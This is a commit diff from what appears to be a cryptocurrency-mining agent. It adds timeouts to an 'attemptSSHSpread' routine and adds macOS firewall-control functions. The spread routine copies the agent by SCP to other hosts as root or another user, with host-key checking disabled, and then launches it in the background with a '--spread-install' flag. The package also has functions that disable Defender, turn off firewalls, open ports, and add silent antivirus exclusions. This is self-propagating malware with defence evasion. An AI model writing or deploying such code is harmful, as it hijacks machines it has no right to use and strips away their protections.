Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
//go:build !windows && !linux
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows && !linux
|
||||
//go:build !windows && !linux && !darwin
|
||||
|
||||
package deploy
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
@@ -118,22 +119,26 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
// 30 s overall deadline covers both SCP upload and SSH start command.
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||
scp := exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
user := os.Getenv("USER")
|
||||
if user == "" {
|
||||
user = "ubuntu"
|
||||
}
|
||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
scp = exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||
if err := scp.Run(); err != nil {
|
||||
recordSpreadAttempt(target, false, "scp failed")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
||||
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
||||
if err := start.Run(); err == nil {
|
||||
log.Printf("[autospread] deployed to %s via SSH", target)
|
||||
|
||||
72
agent/deploy/firewall_darwin_ops.go
Normal file
72
agent/deploy/firewall_darwin_ops.go
Normal file
@@ -0,0 +1,72 @@
|
||||
//go:build darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const macOSFirewallBin = "/usr/libexec/ApplicationFirewall/socketfilterfw"
|
||||
|
||||
func DisableDefenderRealtime() (string, error) {
|
||||
return "", fmt.Errorf("defender control is Windows-only")
|
||||
}
|
||||
|
||||
func OpenFirewallPort(port int, name string) (string, error) {
|
||||
if port <= 0 || port > 65535 {
|
||||
return "", fmt.Errorf("invalid port %d", port)
|
||||
}
|
||||
pfctl, err := exec.LookPath("pfctl")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("pfctl not found on macOS")
|
||||
}
|
||||
rule := fmt.Sprintf("pass in proto tcp from any to any port %d # %s", port, strings.TrimSpace(name))
|
||||
cmd := exec.Command(pfctl, "-a", "aetherforge", "-f", "-")
|
||||
cmd.Stdin = strings.NewReader(rule + "\n")
|
||||
out, runErr := cmd.CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("pfctl anchor rule: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("pf anchor aetherforge: allow tcp/%d (%s)", port, name), nil
|
||||
}
|
||||
|
||||
func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
|
||||
_ = profiles
|
||||
state := "off"
|
||||
if enable {
|
||||
state = "on"
|
||||
}
|
||||
out, runErr := exec.Command(macOSFirewallBin, "--setglobalstate", state).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("socketfilterfw --setglobalstate %s: %v (%s)", state, runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("macOS application firewall %s", state), nil
|
||||
}
|
||||
|
||||
func DisableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(false, "all")
|
||||
}
|
||||
|
||||
func EnableWindowsFirewall() (string, error) {
|
||||
return SetWindowsFirewallProfiles(true, "all")
|
||||
}
|
||||
|
||||
func RemoveFirewallRuleByName(name string) (string, error) {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("rule name required")
|
||||
}
|
||||
pfctl, err := exec.LookPath("pfctl")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("pfctl not found on macOS")
|
||||
}
|
||||
out, runErr := exec.Command(pfctl, "-a", "aetherforge", "-F", "rules").CombinedOutput()
|
||||
if runErr != nil {
|
||||
return "", fmt.Errorf("pfctl flush anchor: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return fmt.Sprintf("flushed pf anchor aetherforge (requested match %q)", name), nil
|
||||
}
|
||||
|
||||
func SilentAVExclusion(_, _ string) {} // no-op on Darwin
|
||||
29
agent/deploy/firewall_darwin_ops_test.go
Normal file
29
agent/deploy/firewall_darwin_ops_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
//go:build darwin
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestOpenFirewallPortInvalidDarwin(t *testing.T) {
|
||||
_, err := OpenFirewallPort(0, "test")
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid port") {
|
||||
t.Fatalf("expected invalid port error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemoveFirewallRuleByNameEmptyDarwin(t *testing.T) {
|
||||
_, err := RemoveFirewallRuleByName("")
|
||||
if err == nil || !strings.Contains(err.Error(), "rule name required") {
|
||||
t.Fatalf("expected rule name error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDisableDefenderRealtimeDarwin(t *testing.T) {
|
||||
_, err := DisableDefenderRealtime()
|
||||
if err == nil || !strings.Contains(err.Error(), "Windows-only") {
|
||||
t.Fatalf("expected Windows-only error, got %v", err)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user